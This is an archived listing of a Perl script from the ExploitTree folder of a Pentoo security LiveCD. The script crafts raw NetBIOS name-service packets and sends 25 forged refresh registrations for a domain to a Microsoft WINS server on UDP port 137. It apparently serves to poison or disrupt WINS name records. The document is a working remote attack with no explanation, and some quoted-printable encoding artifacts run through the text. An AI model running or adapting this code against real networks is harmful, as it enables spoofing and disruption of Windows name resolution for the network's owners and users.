home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / wins2.pl < prev    next >
Text File  |  2005-02-12  |  2KB  |  67 lines

  1. use Socket;
  2.  
  3. $WINSAddress =3D "XXX.XXX.XXX.XXX"; #IP Address or Host/NetBIOS name
  4. $DomainName =3D "AAADUMMY"; #Must be all caps
  5. $SequenceNumber =3D 0x8000;
  6. socket(SOCKET, PF_INET, SOCK_DGRAM, getprotobyname("udp")) or die =
  7. "Socket not created $!\n";
  8. $destAddress =3D inet_aton($WINSAddress);
  9. $destPort =3D sockaddr_in(137, $destAddress);
  10.  
  11. for ($i=3D1;$i<=3D25; $i++)
  12.     {SendRefresh ($DomainName, 0x1C, "\x0a\x6a\x00" . chr ($i))}
  13.  
  14. sub Sequence
  15. {
  16.     my ($high, $low, $str);
  17.     $high =3D $SequenceNumber >> 8;
  18.     $low =3D $SequenceNumber % 256;
  19.     $SequenceNumber +=3D 2;
  20.     $str =3D chr($high) . chr ($low);
  21.     return $str;
  22. }
  23.  
  24. sub SendRelease
  25. {
  26.     my ($tempname, $data);
  27.     $tempname =3D NetBIOSName ($_[0], $_[1]);
  28.     $data =3D Sequence () . "\x30\x00\x00\x01\x00\x00\x00\x00\x00\x01\x20" =
  29. . $tempname . =
  30. "\x00\x00\x20\x00\x01\xc0\x0c\x00\x20\x00\x01\x00\x00\x00\x00\x00\x06\x2=
  31. 0\x00" . $_[2];
  32.     send (SOCKET, $data, 0, $destPort) =3D=3D length($data) or die "Failed =
  33. to send packet: $!\n";
  34. }
  35. =09
  36. sub SendRefresh
  37. {
  38.     my ($tempname, $data);
  39.     $tempname =3D NetBIOSName ($_[0], $_[1]);
  40.     $data =3D Sequence () . "\x29\x00\x00\x01\x00\x00\x00\x00\x00\x01\x20" =
  41. . $tempname . =
  42. "\x00\x00\x20\x00\x01\xc0\x0c\x00\x20\x00\x01\x00\x04\x93\xe0\x00\x06\xe=
  43. 0\x00" . $_[2];
  44.     send (SOCKET, $data, 0, $destPort) =3D=3D length($data) or die "Failed =
  45. to send packet: $!\n";
  46. }
  47.  
  48. sub NetBIOSName
  49. {
  50.     my ($c, $ord, $high, $low, $tempname);
  51.     while ($_[0] =3D~ /(.)/g)
  52.     {
  53.         $c++;
  54.         $ord =3D ord ($1);
  55.         $high =3D $ord >> 4;
  56.         $low =3D $ord % 16;
  57.         $tempname .=3D chr($high +65) . chr($low +65);
  58.     }
  59.     for (;$c<15;$c++)
  60.         {$tempname .=3D "\x43\x41"}
  61.     $high =3D $_[1] >> 4;
  62.     $low =3D $_[1] % 16;
  63.     $tempname .=3D chr($high +65) . chr($low +65);
  64.     return $tempname;
  65. }
  66.  
  67.